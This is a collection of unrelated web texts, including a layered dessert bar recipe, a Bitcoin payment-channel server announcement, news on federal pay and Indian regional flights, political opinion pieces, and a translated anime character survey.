-Ok, you seriously have to try these. I took them to a party and they were a huge hit. They were even described as the best dessert, ever. These bars have all of the things you love in one: shortbread, caramel, chocolate chip cookie dough (yes, the dough not cookies, and chocolate). If they get too warm the caramel does ooze out a bit, which is hard to avoid during a Georgia summer, but really is oozing caramel a bad thing? I don't think so.  Chocolate Chip Cookie Billionaire Bars  yield: 24 bars  Shortbread Layer:  1/2 cup (1 stick) unsalted butter, at room temperature  1/2 cup sugar  1 tsp. vanilla extract  1/2 tsp. salt  1 1/2 cups all-purpose flour  Caramel Layer:  1 14 oz. pkg. chewy caramel candy, unwrapped  1/4 cup half-and-half  Cookie Dough Layer:  1 cup (2 sticks) unsalted butter, at room temperature  1 cup light brown sugar  1/2 cup sugar  1/4 cup half-and-half  1 tsp. vanilla extract  1 1/2 cups all purpose flour  1/4 tsp. salt  1 cup mini chocolate chips  Chocolate Layer:  8 oz semi-sweet chocolate  2 Tbsp. unsalted butter  Preheat over to 350 degrees. Line a 9" x 13" pan with parchment leaving it long enough on the two 9" sides to be able to use it to pull up and remove the bars from the pan. Beat together 1/2 cup butter and 1/2 cup sugar with an electric mixer until light and fluffy. Add vanilla and salt and beat until evenly distributed. Beat in flour until combined. Mixture will be crumbly. Press into prepared pan. Prick dough with a fork. Bake for 18 to 22 to minutes or until the edges are just beginning to brown. Cool on a wire rack. Microwave the caramel and 1/4 cup half-and-half, stirring at 30 second intervals until melted. This will probably take about 2 minutes total. Spread evenly over the shortbread layer in the pan. Refrigerate until set (about an hour).  Beat together the butter and sugars for the cookie dough layer with an electric mixer until light and fluffy. Add the heavy cream and vanilla and mix until well combined. Add the salt and flour and mix on low until well combined. Stir in the chocolate chips. Spread evenly over the caramel layer and refrigerate while you make the chocolate layer.  Microwave the chocolate and butter at 50% power for 30 seconds. Stir. Then, microwave until melted at 50% power stirring every 20 seconds. Spread evenly over the cookie dough layer. Refrigerate at least 30 minutes before serving.  To serve, use the parchment to help you lift the contents of the pan onto a cutting board. Cut into squares with a sharp knife. Store in an air tight container in the refrigerator
-GitHub repo: https://github.com/runeksvendsen/restful-payment-channel-server Hello everyone This server allows the operator to receive instant Bitcoin payments (no waiting for confirmations) from a single, pre-defined sender; paying the Bitcoin transaction fee only once, when the channel is closed. One could imagine, for example, setting up a service which sends video in response to payments, the first minute being free (if you have an open payment channel), and then charging, say 0.1 cent per second thereafter. That's trustless pay-per-view. Pretty cool, if you ask me. I'm at a stage where I'm interested in getting feedback on this, and having people try it out, to see what I've missed. I've been thinking about this for the past two years or so, and have been working for the past year on code, with most of the code written in the past six months (I've rewritten the server at least five times now). The README in the JavaScript client implementation contains an explanation of what a payment channel is (which is not necessarily a Bitcoin-only concept): https://github.com/runeksvendsen/paychanjs-client/blob/master/README.md#bitcoin-payment-channel-primer. Conceptually, it simply involves requiring each potential receiver of funds to also sign the transaction (as opposed to just the sender), thus solving the double spend problem at the expense of limiting the potential number of receivers. Side note: if someone is good at JavaScript, I could use help with the client implementation. It works, but it's not pretty. I find myself completely lost in JavaScript land, coming from Haskell.
-Viral Video: “That’s Why I Chose Yale” (Definitely Not to Learn How to Make Musical Videos)  Hey kids, let’s put on a show!  But in the case of Yale University’s newest admissions video, maybe not so much.  An extraordinarily awkward effort to capture the attention of the Facebook generation, it appears to be a kind of homage to television hits “Glee” and “High School Musical” and is explained as:  “An introduction to undergraduate life at Yale College. The project was an independent collaboration between Yale undergraduates and recent alumni working in the admissions office. All filming, editing, and vocal recording was done on Yale’s campus exclusively by Yale students.”  That group went further, noting, “last fall a group of yalies set out to reinvent the genre of dull admissions videos. they created something…a little different.”  And different it surely is, as you will see, clocking in at close to 17 minutes in length. At times campy, at times innovative and at most times simply painful, people are still watching, with close to 400,000 views on YouTube so far.  The best moment is at the end with the line: “‘Cats’ was better.”  It was, but you be the judge:
-NEW DELHI: Within a day of its debut flight between Shimla and Delhi, the discounted Rs 2,036-tickets under a government scheme subsidising air travel on short sectors had been booked on the route till June.The non-subsidised seats currently available were priced between Rs 5,300 and Rs 19,080, according to the website of Air India , whose subsidy, Alliance Air, operates the flights.Alliance has deployed a 42-seater aircraft on the sector. The flight will be operated five days a week."Since this is the season for travelling to Shimla and with fares as low as Rs 2,000 we are seeing a tremendous response," Alliance Air CEO C S Subbiah told PTI.He also said two seats per flight, falling in the highest fare bracket, were being sold at a little over Rs 19,000 each.Airlines divide their seats into different fare brackets or reservation booking designators to maximise revenues.Under the regional connectivity scheme, or UDAN , airlines operating on routes allotted to them must offer 50 per cent of the total number of seats on a flight to passengers at the rate of Rs 2,500 per hour.The flight from Delhi can take 35 passengers, while the one from Shimla can accommodate only 15, because of factors such as the runway length, temperature and altitude at the Jabarhatti airport.With half the total aircraft capacity set aside under the UDAN scheme, 24 seats from Delhi and 15 seats from Shimla are available at the discounted fare of Rs 2,036, inclusive of taxes.Subbiah said the airline would study the trend over the next few days and look at ways to maximise revenues from this route.Meanwhile, Alliance Air has sought financial assistance of about Rs 1.42 lakh for every return flight on this route, or Rs 5 crore per year, from the Himachal Pradesh government to mitigate losses because of the limited number of passengers on the flight.It is estimated that every Delhi-Shimla-Delhi flight will cost Rs 4.06 lakh, but generate only around Rs 2.64 lakh, inclusive of the financial assistance already provided by the government.Under UDAN, which seeks to make flying affordable by connecting unserved and under-served airports, the losses incurred by an airline on a particular sector are to be shared by the Centre and the state concerned.
-Enlarge By Melissa Golden, Getty Images Federal pay has become a hot political issue in recent months because of concerns over the federal budget deficit and recession-battered wages in the private sector. PAYCHECK PAYCHECK The typical federal worker is paid 20% more than a private-sector worker in the same occupation. Median annual salary: Federal Private Difference $66,591 $55,500 $11,091 Sources: Bureau of Labor statistics, USA TODAY analysis Federal employees earn higher average salaries than private-sector workers in more than eight out of 10 occupations, a USA TODAY analysis of federal data finds. Accountants, nurses, chemists, surveyors, cooks, clerks and janitors are among the wide range of jobs that get paid more on average in the federal government than in the private sector. Overall, federal workers earned an average salary of $67,691 in 2008 for occupations that exist both in government and the private sector, according to Bureau of Labor Statistics data. The average pay for the same mix of jobs in the private sector was $60,046 in 2008, the most recent data available. CHART: Federal salaries compared to private-sector These salary figures do not include the value of health, pension and other benefits, which averaged $40,785 per federal employee in 2008 vs. $9,882 per private worker, according to the Bureau of Economic Analysis. Federal pay has become a hot political issue in recent months because of concerns over the federal budget deficit and recession-battered wages in the private sector. Sen. Scott Brown, R-Mass., made federal pay an issue in his successful campaign to fill Edward Kennedy's seat and is fighting for a pay freeze. The federal government spent about $224 billion in 2008 on compensation for about 2 million civilian employees. "The data flip the conventional wisdom on its head," says Cato Institute budget analyst Chris Edwards, a critic of federal pay policy. "Federal workers make substantially more than private workers, not less, in addition to having a large advantage in benefits." But National Treasury Employees Union President Colleen Kelley says the comparison is faulty because it "compares apples and oranges." Federal accountants, for example, perform work that has more complexity and requires more skill than accounting work in the private sector, she says. "When you look at the actual duties, you see that very few federal jobs align with those in the private sector," she says. She says federal employees are paid an average of 26% less than non-federal workers doing comparable work. Office of Personnel Management spokeswoman Sedelta Verble, says higher pay also reflects the longevity and older age of federal workers. USA TODAY used Bureau of Labor Statistics data to compare salaries in every federal job that had a private-sector equivalent. For example, the federal government's 57,000 registered nurses — working for the Veterans Administration and elsewhere — were paid an average of $74,460 a year, $10,680 more than the average for private-sector nurses. The BLS reports that 216 occupations covering 1.1 million federal workers exist in both the federal government and the private sector. An additional 124 federal occupations covering 750,000 employees — air-traffic controllers, tax collectors and others — did not have direct equivalents, according to the BLS. Federal jobs have more limited salary ranges than private-sector jobs, some of which have million-dollar payouts. Key findings: • Federal. The federal pay premium cut across all job categories — white-collar, blue-collar, management, professional, technical and low-skill. In all, 180 jobs paid better average salaries in the federal government; 36 paid better in the private sector. •Private. The private sector paid more on average in a select group of high-skill occupations, including lawyers, veterinarians and airline pilots. The government's 5,200 computer research scientists made an average of $95,190, about $10,000 less than the average in the corporate world. •State and local. State government employees had an average salary of $47,231 in 2008, about 5% less than comparable jobs in the private sector. City and county workers earned an average of $43,589, about 2% more than private workers in similar jobs. State and local workers have higher total compensation than private workers when the value of benefits is included. Job comparison Average federal salaries exceed average private-sector pay in 83% of comparable occupations. A sampling of average annnual salaries in 2008, the most recent data: Job Federal Private Difference Airline pilot, copilot, flight engineer $93,690 $120,012 -$26,322 Broadcast technician $90,310 $49,265 $41,045 Budget analyst $73,140 $65,532 $7,608 Chemist $98,060 $72,120 $25,940 Civil engineer $85,970 $76,184 $9,786 Clergy $70,460 $39,247 $31,213 Computer, information systems manager $122,020 $115,705 $6,315 Computer support specialist $45,830 $54,875 -$9,045 Cook $38,400 $23,279 $15,121 Crane, tower operator $54,900 $44,044 $10,856 Dental assistant $36,170 $32,069 $4,101 Economist $101,020 $91,065 $9,955 Editors $42,210 $54,803 -$12,593 Electrical engineer $86,400 $84,653 $1,747 Financial analysts $87,400 $81,232 $6,168 Graphic designer $70,820 $46,565 $24,255 Highway maintenance worker $42,720 $31,376 $11,344 Janitor $30,110 $24,188 $5,922 Landscape architects $80,830 $58,380 $22,450 Laundry, dry-cleaning worker $33,100 $19,945 $13,155 Lawyer $123,660 $126,763 -$3,103 Librarian $76,110 $63,284 $12,826 Locomotive engineer $48,440 $63,125 -$14,685 Machinist $51,530 $44,315 $7,215 Mechanical engineer $88,690 $77,554 $11,136 Office clerk $34,260 $29,863 $4,397 Optometrist $61,530 $106,665 -$45,135 Paralegals $60,340 $48,890 $11,450 Pest control worker $48,670 $33,675 $14,995 Physicians, surgeons $176,050 $177,102 -$1,052 Physician assistant $77,770 $87,783 -$10,013 Procurement clerk $40,640 $34,082 $6,558 Public relations manager $132,410 $88,241 $44,169 Recreation worker $43,630 $21,671 $21,959 Registered nurse $74,460 $63,780 $10,680 Respiratory therapist $46,740 $50,443 -$3,703 Secretary $44,500 $33,829 $10,671 Sheet metal worker $49,700 $43,725 $5,975 Statistician $88,520 $78,065 $10,455 Surveyor $78,710 $67,336 $11,374 Source: Bureau of Labor Statistics, USA TODAY analysis Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more
-Michele Bachmann over Mitt Romney? In the 2012 GOP Debate in New Hampshire? Well, perhaps we can say that on Monday night Hell did freeze over, and because while Minnesota Congresswoman Michele Bachmann didn’t trip up former Massachusetts Governor Mitt Romney, she did outshine both he and Texas Congressman Ron Paul by not being what most of America has come to expect her to be, and that’s the just plain crazy pol I talked about in this video…  And, in part, because of that, “Michele Bachmann” is the number one Google Trend, and has been for several hours since the CNN GOP Debate ended. Plus, “Michele Bachmann” managed to become the ninth most popular Twitter Trend during the debate telecast. By contrast, Ron Paul’s the tenth highest Google Trend, didn’t appear on Twitter Trends, and Mitt Romney was no where to be seen.  The truth is, Michele Bachmann really did look “Presidential,” up there, and Romney better not get comfortable with the idea that he’s got a safe lead. No. While Congresswoman Bachmann can’t even come close to the other-worldly cool and now POTUS experience of President Barack Obama, who’s title of ‘silent assassin’ was cemented when he ordered the successful take-out of Osama Bin Laden, she can scare the hell out of the GOP just enough to create sufficient votes to damage Romney’s path to the Republican Nomination.  And just what did Michele Bachmann do? Frankly, Congresswoman Bachmann scored on two major points regarding President Obama. First, that Obama voted against raising the Debt Ceiling in 2006, and she stated the debatable view that we don’t have enough good intelligence to be fighting in Libya.  Those two points are easy to bat off, first, by Obama himself, who admitted his vote was “a mistake,” and regretted his 2005 stance. Second, Obama has held fast to his reasons for going into Libya as being borne of seeing Libyan leader Moammar Gadhafi have his own military go after his own people. Obama, who gave Moammar Gadhafi fair warning, had enough, and in engineering a way around Congress, started a private little war against Gadhafi’s forces.  Because of that, Bachmann can’t have it both ways: calling Obama as something less than a leader, but then, herself, showing fear in making the right call to intervene in Libya. Obama would smoke her on that issue, no pun intended.  The Substantive Bachmann  Because we’re talking in policy details about key decisions of POTUS, and because of Bachmann’s GOP Debate statements, means that, agree or disagree, we’re going to see a more substantive and less bombastic Bachmann. While I’m not yet ready to say we’re not going to get the bat-shit crazy Bachmann, it’s too early to tell, I wouldn’t bet on it.  I think Bachmann realizes that, for now and perhaps the entire future of this 2012 Presidential Race, she’s got the upper hand over her opponents as the only female candidate, and who’s got the happy burden of not being the embarrassment we expect her to be. The Tea Party Movement never really entirely warmed to Ron Paul. And while Rep. Paul has done a good job of parroting a narrow, ideological point of view that’s become his personal brand, he’s also trapped by it. There’s no way to go – no new form of behavior – that would cause Congressman Paul to gain points and the cement the GOP Presidential Nomination. And there’s Romney and Sarah Palin standing in the way.  Palin? Yes, even though I don’t think she will run, Palin will cast a large enough shadow to steer which GOP voters go to what candidate. But Palin’s not wanting to stomach what it takes to put her family under the gaze of the modern media smear machine.  Stay tuned.
-Politicians Are Mirror Images Of Ourselves: That's Why We Elect Them  By Pratap Antony  22 October, 2015  Countercurrents.org  “It is not in the nature of politics that the best men should be elected. The best men do not want to govern their fellowmen”. George E. MacDonald  Few will disagree with Napoleon, who said, “In politics, stupidity is not a handicap”. This is also true of the electorate, that is, ‘all of us’, because we keep voting for, and electing, the worst possible candidates to represent us.  Politicians are mirror images of ourselves; we vote for them because we feel they best represent our own view and outlook. And these politicians whom we elect to the government, instead of serving us and ministering to our needs, put themselves first, and minister to their own needs of ‘greed, power and more power ’.  When one sees the shenanigans of political parties and their politicians working for their own hidden agendas; their own self-interest; lining their pockets and accruing power to themselves, one is embarrassed and ashamed that they represent our views.  Yes, we should be ashamed of these politicians. But we should be ashamed of ourselves too for electing them. We do not use our power of discretion well when we elect them.  It is very clear to me as a citizen of a country of which I am a native and who has voting rights - that I vote for, and have elected to represent me, politicians who are meant to minister to my needs. I expect our ministers to serve us. Not rule us!  The definition of the word minister is, one who ‘serves’, or ‘helps’ us. The origin of the word minister goes back via old French, ministre - to Latin, minister ‘servant, attendant’. Etymologically, minister is the antonym of master. The verb minister means,‘attend to the needs of’.  The point is, these representatives (politicians), that we elect to represent us in the government, become part of the government and change overnight from servers to masters.  They believe that they are meant to rule us citizens - not serve us. They do their best to make the electorate submit to their will and acknowledge their ascendancy, instead of submitting to the will of the electorate and serving the them.  Unfortunately, we citizens also believe the hype that these elected politicians surround themselves with at our expense, and instead of thinking of them as our representatives who are meant to serve us, we call them leaders and submit to their will.  Contrary to our expectations of the government collectively ministering to our needs, ministers become monsters; the government takes on a personality of its own and becomes a separate entity, quite separate from its citizens. We create these ‘minister monsters’ and then lose control of these Frankensteins!  “Under democracy one party always devotes its chief energies to trying to prove that the other party is unfit to rule – and both commonly succeed, and are right” ~ H. L. Mencken  The political party in power, whichever it may be, whom we elect, and the opposition, whom we also elect, do not spend much time in governing, but in playing the game of politics and political one-upmanship and doing nothing for the citizens who have put them up to represent them.  The government begins to lay down the law instead of following the law. They feel they are above the law and break laws instead of administering the rules and regulations of the country. They invoke the rules and regulations for their own convenience and bend these rules to their own ends - to suppress, oppress and repress citizens.  Politicians represent their own needs and aspirations of greed and power over people instead of representing the people and their needs, wants, comforts and desires.  Politicians mistake their own base cunning for intelligence. They become careless and arrogant. They become secretive and cagey. They become opaque and rich at the expense of the people.  They become autocratic due to citizens quiescence, silence, apathy and apparent helplessness, because citizens begin to believe that the government and these politicians are leaders and above them.  Government becomes self-important, smug and insensitive to the people.They do not wish to be questioned.  They believe they are masters of the universe and so cannot get caught in their lies and deceptions. They lose all sense of reality and think that they are too powerful and too cunning to be caught.  But they do get caught; with their hand in the cookie jar; on the wrong foot; with their pants down, in flagrante delicto, they get caught by their own arrogant belief that they are above the law.  “Politicians are like diapers. They both need changing regularly and for the same reason” – Anonymous  We should:  - be the ones who catch these egregrious, craven and offensive people. There’s a lot we can do, but we must start with ourselves.  - do our homework and know who we are voting for and electing. We should choose our servants/representatives with discretion.  - be clear in our minds that we are electing people to serve us and honestly minister to our needs.  - know that we are responsible for our own actions and circumstances. And when we vote for a person to represent us without knowing what we want, we are going to get what we deserve. And deserve what we get!  - support Civil Society movements in whatever way we can - after studying them and agreeing with their methods and objectives.  - support environmental groups that are fighting for a better present and future against venal politicians and their vested interests.  - support Social Equity – especially those marginalised by the very politicians whom we elect to serve us and the corporate exploiters who pay politicians off.  - protest and demand information about so called public utility schemes floated by corrupt politicians without public discussion.  - overcome our indifference and our small minded insularity, learned helplessness and Amor fati, and participate; think positively, and go ahead and do things that we can do within our own expertise or experience to improve, increase awareness and educate.  We can, by this, be true to ourselves and share this projection of our true image.  Pratap Antony: Passive activist/Active pacifist writer on ecology and environment, compassion and humanity, social justice, dogs, music and dance - http://pratapantony.blogspot.in/. Management ideas and issues - http://reformcommunications.blogspot.in/
-MSNBC host Rachel Maddow noted that this was an “awkward” situation: Reporting as an MSNBC anchor on the suspension of NBC Nightly News anchor Brian Williams over his Iraq war embellishments. At the top of her eponymous program last night, Maddow (who is also a Washington Post columnist) methodically sifted through the particulars of the story, including Williams’ false statements, the internal review by NBC News and the statements from NBC leaders regarding the suspension.  Then Maddow got real, offering a full-throated explanation of the awkwardness. She noted that MSNBC and NBC News co-own a certain acronym for a reason: “We are working partners,” she said. “But tonight, even as we are reporting on this breaking news about the news division of which we are a part, no, NBC News will not make anyone available to discuss this story with us on the air.” Like a news person, Maddow held out the possibility that things would change. “You`d think if they`re going to talk to anybody about this, we might reasonably get a leg up on getting interviews with any NBC News executives to explain this decision, if only because we`re right down the hall,” said the host, adding, “I live in hope.”  That’s a delightful way for the host to expose NBC News for applying the best practices of crisis PR — and the worst practices of journalistic transparency — to the Brian Williams situation: Say very little on the record; release statements here and there to feed hungry reporters; keep the key people under wraps. At least Maddow feels empowered to chide her employer.  (h/t Mediaite)
-Aniplex's Ani-Com magazine published the first 50 items in a 100 question survey, filled out by Madoka, in December 2010. The second section, containing questions 51-100, was distributed in Comike. Aniplex announced at the US Madoka premiere that additional surveys for other characters will be posted on the official website in the future.  The survey mostly concerns mundane things -- what do you wear when you go to bed, are you left-handed or right-handed, have you ever been confessed to, etc.  # Question Answer  1 Please tell us your name. My name is Madoka Kaname.  2 When is your birthday? October 3.  3 Your blood type? I'm type A.  4 Please tell us your three sizes? Huh?! I-I-I've never taken them before...  5 Tell us about your family composition? It's four people, with my dad, mom, and little brother.  6 What's your occupation? I'm a middle-school student.  7 Your favorite food? Um...my favorite food...is cream stew, I think.  8 Favorite animal? I love anything that's small and fluffy!  9 Favorite subject? Hm...art, maybe...?  10 Dislike subject? Science, English, Chemistry, and...I'm not great at Phys-Ed either.  11 Is there a boy you've been thinking about? My brother Tatsuya is so naughty I can't take my eyes off of him...  12 Do you enjoy school? It's lots of fun!  13 Are you in any school clubs? Yes, I'm in both the Gardening and Crafts Clubs.  14 What's your motto? Um, "one good dine a day"? (TL note: 一日一膳 (ichinichi ichizen, literally "one bowl of rice a day") is a pun on "one good deed a day" [一日一善, ichinichi ichizen])  15 Your special skills? I'm never late for school no matter how I late I oversleep!  16 Tell us about your treasure? Toreho-kun, the first stuffed animal I won from a UFO catcher by myself.  17 Describe yourself in a single Kanji? Um, Madoka? (TL note: 円 [reads: en, mado(ka)] means "circle")  18 Your forte? Umm… not picky about food?  19 Your shortcomings? There are too many of them, I can't list…  20 Places in your memories? I took a great tumble in front of a station since the start of semester… I can never forgot that…  21 What is your favorite drink? Hot chocolate by Papa! It's very delicious!  22 How good can you swim? I… I can swim a bit in breaststroke. Most called it a dog paddle, though….  23 Your timing in 50-meter race? Less than ten seconds! I'm not lying!  24 Your hobby or obsession? Recently a dull joke with Sayaka-chan.  25 Disliked food? I've never seen it, but I don't like something like locust tsukudani…  26 Anything you want to most currently? Um, an iPod, I think it's cool.  27 Afraid of heights? If it is the rooftop of the school building, I love it!  28 Dislike thunder? I'm fine with it if I'm in my own room.  29 Rainy or sunny? I think sunny is better.  30 Do you use pencil or a mechanical pencil in school? Normally mechanical pencil.  31 What do you eat for breakfast? A lot everyday. My Papa can cook anything!  32 Do you believe in ghosts? D…don't talk about scary things!  33 Can you play any musical instruments? Recorder, yes, a bit…  34 Are you the outdoor or indoor type? Anywhere, as long I'm with my friends.  35 Ever in quarrel your brother? He's only 4 years old. I don't think we ever quarrel…  36 Do you have a cellphone? Yes, I do.  37 How long is your commute to school? About 15 minutes if I'm hurried.  38 Do you have more friends than most? Um, about average, I think….  39 Your favorite sports? I'm moved by everything I watch in the Olympics.  40 How good can you cook? Even though my Papa teaches me, I'm not very good at it….  41 Favorite colors? White, I think. Also pink.  42 Anything that you can never forgive? Impersonation phone scams! I think it is bad! (Impersonated phone scams, also known as Ore Ore Sagi, オレオレ詐欺)  43 How tall are you? I'll definitely be 150cm tall by next year!  44 Shoe size? It is 22. (Equivalent of US Misses' 5.5)  45 Your dreams? Um, I want to take a trip around the world…  46 Do you have any marriage desires? Would be nice if I can find a cool husband like [that resembles] my Mama...  47 Do you dislike hot drinks? It is okay if I blow on it.  48 Do you like bitter coffee? I will refrain from it until I'm adult.  49 Bed time? Up until 11 PM.  50 Wake up time? I set my alarm clock at 7 AM.  51 When you sleep, are you a bed person or a futon person? We use beds at my house.  52 Are you confident in your ability to concentrate? Not really...  53 Do you have any tips on losing weight? It's all about holding back on those second helpings... I guess?  54 Between warm soba and chilled soba, which do you like? I like them both!  55 Tell us which arm is your dominant arm. The one on the right, as you'd expect.  56 Tell us about something lucky that's happened lately. The other day, I got a heart-shaped Pino for the first time!  57 Tell us about something unlucky that's happened lately. This morning, I got stopped twice by the automatic turnstile...  58 What's the name of your school anthem? "Oh Beautiful Mitakihara"  59 What's your favorite flower? I like tulips and gerbera flowers.  60 What's your favorite saying? Um...one good dine a day?  61 What's your favorite four-kanji phrase? Mm....probably 'one good dine a day'! If I have at least one cup of tea with every meal, I'll be fine! ...that's kind of what I mean, you know?  62 What comes to mind when you think about spring? Hmm, probably sakura-mochi! [a rice cake with bean paste, wrapped in cherry leaf]  63 And summer? Uh, shaved ice!  64 What about fall? Mmmm, sweet potatoes!  65 And then the winter? Apple pie! ...huh? All the things I said were foods?  66 If you had a time machine, where would you go? I think I'd want to see the future.  67 Do you like reading manga or short stories more? If I had to choose, I like manga better.  68 What's your allowance? I get 2,000 yen per month...I'm trying to negotiate for more with Mama!  69 Tell us something a lot of people say about you. They say a lot of people talk about me...but there's no way that's true!  70 What are your hobbies? Um...sketching, or illustrations?  71 Tell us your weight. No way!  72 What are you capable of? [Can be interpreted as 'qualifications' or 'specialties'] Nothing right now, really...  73 What do you wear when you go to bed? Huh? I wear pajamas...  74 Has anyone ever asked you out? When I was in kindergarten, Mitsuru-kun from the Chick class...no, I'm too embarrassed (to tell)!  75 If I told you the world would end tomorrow, what would you do? Don't ask me something so scary...  76 Tell us about your daily routine. When I get dressed in the morning, I talk with my mom...  77 What is something you always carry with you? I always carry a pack of band-aids. I'm really clumsy.  78 Western food? Japanese food? As long as it tastes good, I like it!  79 How do you commute to school? I walk. It's a very fun walk to school!  80 What's the last thing you do before you go to bed at night? I check my hair before going to bed, so when I wake up it won't stick up!  81 What's the first thing you do when you wake up in the morning? I say good morning to Papa, who's usually working in the garden  82 Where are you living right now? I'm living in the suburbs of Mitakihara.  83 What kind of place is it? It's a wonderful house. Dad asked his architect friend to design it, and Mama asked her friend's construction company to come build it.  84 What's the most interesting thing that's happened to you so far? Having a sleepover party at my friend Hitomi's house!  85 What's the saddest thing that's happened to you? When I was little, my pet myna bird died...  86 Do you like roller coasters? I-I'm not really good...with scary things...  87 How's your eyesight? 1.5 in both eyes. But I can't really be happy about it unless it's 2.0...  88 What's your favorite holiday? I like New Year's, because it's fun.  89 What job do you have in school? I'm the nurse's office assistant.  90 What do you do in your free time? I talk with my friends, look up at the sky on the roof...?  91 How long do you study every day? After dinner, I spend about an hour trying my best to study.  92 Who of your friends can you rely on to give you advice? To give advice? I'm always asking them for help...  93 What do you do on the weekends? I hang out with Sayaka and go places with her. And sometimes I help my dad around the house.  94 If you could be reincarnated, what would you want to be? I would want to be Mom and Dad's daughter again!  95 Are the school rules really strict? Nobody likes them, but I don't think I hate them.  96 What do you have for lunch at school? A bento? The school lunch? We have a cafeteria, but I always eat a bento made by my dad.  97 How many friends do you have? The two I really get along with are Sayaka and Hitomi, I guess?  98 Do you take any detours when you go home? There are a lot of interesting things on the path home, like the forest or little streams, so it can be a little problematic...  99 Are you interested in any actors? I'm a big fan of Kiyoshi Hikawa! I'm a terrible singer...
-Hasbro is now facing an international boycott of its Nerf products after tricking a fan blogger into giving the company his address in order to send legal notices.  Hasbro’s problem was with a post published by Martyn Yang on his toyblaster review blog Urban Taggers last year—a review of the N-STRIKE ELITE “RAMPAGE” BLASTER, which Nerf was not yet selling but, as Yang pointed out on his blog, was already widely available.  “I had genuinely believed that I was not doing anything wrong by Hasbro given that my endorsements are for genuine products etc,” Yang told Australian news site Crikey. “As a consumer and long-time fan, I felt that the far from up-front emails from Hasbro and their lawyers were very poor behaviour from such a large and sophisticated organisation.”  The problem started when Hasbro sent Yang an email offering him some Nerf gun accessories for a giveaway. All the company needed was his address, and Yang quickly complied.  However, the freebies never came. Instead, six days later, he received a threatening letter from Hasbro’s law firm, Baker and Mckenzie, demanding Yang take down the post immediately. Yang agreed, but after that matters only got worse. Even though Yang cooperated, Nerf could not determine who was distributing the leaked products.  Three weeks later, Yang discovered representatives from the law firm allegedly hanging around his apartment and questioning his neighbors. This was the last straw for Yang.  “I really do not appreciate being ambushed by lawyers or their representatives on a Sunday afternoon when I haven’t done anything wrong,” he wrote to Nerf. “I have taken down the images and it’s not my fault that neither you nor Hasbro seem to be able to find out whoever the original source of the guns.”  He shared the saga, including the full email quoted above, with Urban Taggers community members, many of whom vowed to boycott the company.  “Hasbro is just insane. Everyone knows Urban Taggers is the biggest and best blog and do a helluva lot more for the Nerf brand than any other marketing channel,” wrote one commenter.  “I’ve been having a lot of reservations about Hasbro stuff lately, and this just cemented my resolve to not buy Hasbro anymore,” wrote another.  Hasbro’s legal threats not only failed to determine the source of leaked Nerf products, it also alienated its biggest customers in the process. Now that’s a review worth deleting.  Photo via Urban Taggers
-The government in Scotland is structured into a number of directorates. Directorates and their related public bodies are responsible for putting government policy into practice.  The Civil Service  The Permanent Secretary is the senior civil servant in Scotland and leads the 5000 plus people working for the Scottish Government. The Permanent Secretary supports the government in developing, implementing and communicating its policies.  The current Permanent Secretary of the Scottish Government is Leslie Evans. She is the principal policy adviser to the First Minister and Secretary to the Scottish Cabinet. She is also the principal accountable officer with responsibility to ensure that the government's money and resources are used effectively and properly.  Directors-general and directorates  There are six directors-general who head up the Scottish civil service. A director-general manages a number of directorates and agencies which are responsible for proposing legislation and putting Scottish Government policy into practice.  Public bodies  Non-ministerial departments are headed by senior civil servants and not ministers. They usually have a regulatory or inspection function like the Office of the Scottish Charity Regulator.  Executive agencies are part of the Scottish Government and generally have a strong focus on the management and direct delivery of public services, but can also provide strategic policy input.  Executive non-departmental public bodies (NDPBs) carry out administrative, commercial, executive or regulatory functions on behalf of government.  Advisory NDPBs provide independent expert advice to ministers and others or input into the policy-making process in relation to particular subjects.  Tribunals are responsible for tasks and advice relating to specialist areas of the law and carry out judicial functions such as determining the rights and obligations of private citizens, although they are not part of the court system.  Public corporations are industrial or commercial enterprises under direct government control.  Health bodies comprise 14 regional health boards, eight special health boards and the Mental Welfare Commission for Scotland.  There are 32 local authorities (councils) in Scotland.  Find out more about public bodies in Scotland.
-Tony Abbott, the man who was colossally shit at the only job he’s ever wanted, made a lot of noise during the marriage equality campaign. He was one of the brave soldiers who tried to convince the nation that same-sex marriage is not actually about two people of the same sex getting married, but in fact was an insidious campaign of political correctness and cultural Marxism designed to undermine western civilisation. But when it got down to actually vote, oldmate abstained.  READ MORE The Couple Who Said They'd Divorce If SSM Passed Have Officially Chickened Out  That’s right. He didn’t vote for it – despite a full 75% of his electorate voting yes in the postal vote – and he didn’t vote against it and then have to stand up and explain precisely why he had rejected a democratic outcome. He left the chamber altogether, and didn’t vote. This is the man who masterminded the entire concept of a marriage equality plebiscite, and deemed that only via surveying the will of the Australian people could marriage ever be changed… and he decided to reject the will of the people. What a copout.  “This government wants the people to decide,” he told Parliament all the way back in the halcyon days of 2015. “We want the people’s choice, and what could be fairer than leaving this to the people of Australia?”  The man who argued that the Australian people’s choice is entirely sacrosanct chose to flip the Australian people the bird when it all came down to it. Not just Australia, but specifically the people of Warringah, who are the entire reason he has himself a cushy parliamentary paycheck. We’re essentially paying Tones our tax dollars to jack himself off. (I do not wish to insinuate we aren’t doing this for a large number of MPs across the spectrum)  And no, he didn’t do the noble thing and withdraw himself from the entire debate. Nope, he stood up in Parliament yesterday and railed against the MPs who refused to indulge the pathetic conservative amendments to the bill, which were blunt force legislative implements intended to permanently enshrine discrimination in law. He was perfectly happy to furiously argue in favour of those amendments – then bumrush out the door when it came to actually voting on the bill.  You might argue, as some have, that abstaining was the only way Abbott could facilitate the passage of the bill while staying true to his Christian values.  Sorry, that doesn’t really hold muster. Tony. You kicked the tin along on this issue purely because you didn’t want same-sex marriage to happen on your watch – sure. But you spent years boosting secular democracy as the only means to resolve the situation and shouted down any attempt at a free vote, in which you’d be perfectly entitled to vote in line with your values. Then when the moment came, you decided democracy wasn’t something you were keen on enabling at all.  Tony, you fucken ratbag coward. Put up or shut up. The people noticed:  Each to their own…..but i think @TonyAbbottMHR should have voted. He demanded this plebiscite, 75% of his electorate vote yes. If he wanted to vote no despite the result – he should have done so and explained himself. He wasn’t in the chamber. He squibbed it. — Laura Jayes (@ljayes) December 7, 2017  Tony Abbott promised to vote yes but in the end didn't vote at all #auspol — Bevan Shields (@BevanShields) December 7, 2017  tony abbott needs to be roasted mercilessly for cowering in a hall somewhere during the marriage vote until he is hounded out of parliament — ed (@macaulaybalkan) December 7, 2017  And Tony Abbott not even in the chamber for it. #marriageequality — Hamish Macdonald 